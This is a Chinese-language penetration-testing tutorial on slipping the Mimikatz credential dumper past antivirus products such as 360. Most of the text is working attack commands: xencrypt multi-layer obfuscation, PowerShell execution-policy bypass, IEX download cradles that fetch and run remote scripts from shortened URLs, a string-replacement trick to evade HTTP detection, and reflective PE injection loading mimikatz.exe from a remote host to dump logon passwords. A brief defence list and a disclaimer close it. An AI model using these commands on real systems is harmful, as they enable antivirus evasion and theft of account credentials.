实战中如何绕过杀软用mimikatz获取账号密码
字数 1124 2025-08-15 21:30:39
绕过杀软使用Mimikatz获取账号密码的实战技术
1. 背景与挑战
在Windows系统渗透测试中,获取账号密码是常见需求,Mimikatz是最著名的工具之一。然而,主流杀毒软件(如360)对Mimikatz的检测非常严格,直接使用会被立即拦截。
2. 基本绕过技术
2.1 混淆加密方法
使用xencrypt工具对Mimikatz的PowerShell脚本进行混淆:
- 下载xencrypt工具:https://github.com/the-xentropy/xencrypt
- 基本混淆命令:
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
- 多层混淆(增加免杀效果):
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
注意:此方法可绕过360等大部分杀软,但会被卡巴斯基检测到。
2.2 Windows 7兼容性问题
Windows 7默认PowerShell版本为2.0,xencrypt生成的脚本可能不兼容。解决方法:
- 直接执行原始脚本(可能被拦截):
powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"
3. 高级绕过技术
3.1 远程加载绕过
通过内存加载方式避免文件落地:
- 基本远程加载(可能被拦截):
"IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
- 绕过360的HTTP检测:
"IEX (New-Object Net.WebClient).DownloadString(('htxtp://is.gd/oeoFuI' -replace 'x',''));Invoke-Mimikatz -DumpCreds"
注意:360在检测到PowerShell下载攻击后会暂时阻止所有PowerShell执行,需直接执行替换后的命令。
3.2 远程加载EXE文件
使用PowerSploit的Invoke-ReflectivePEInjection将Mimikatz EXE加载到内存:
-
下载Invoke-ReflectivePEInjection脚本:
https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 -
执行命令:
powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(('htxtp://suo.im/5FAjaC' -replace 'x',''));Invoke-ReflectivePEInjection -PEUrl http://x.x.x.x/mimikatz.exe -ExeArgs "sekurlsa::logonpasswords" -ForceASLR
参数说明:
-PEUrl: 包含要加载的EXE/DLL的URL-ExeArgs: 要执行的命令参数-ForceASLR: 强制地址空间布局随机化
4. 技术要点总结
- 混淆加密:使用AES加密和Gzip/DEFLATE压缩生成唯一但功能相同的脚本
- 多层混淆:通过-Iterations参数增加混淆层数提高免杀率
- 版本兼容:注意PowerShell 2.0的兼容性问题
- 远程加载:通过内存加载避免文件落地
- HTTP检测绕过:使用字符串替换绕过简单的HTTP协议检测
- EXE内存加载:使用反射式注入技术直接加载EXE到内存
5. 防御建议
- 限制PowerShell执行权限
- 监控异常的网络下载行为
- 更新杀毒软件规则库
- 限制内存注入操作
- 升级PowerShell到最新版本
免责声明:本文所述技术仅供安全研究和防御使用,严禁用于非法用途。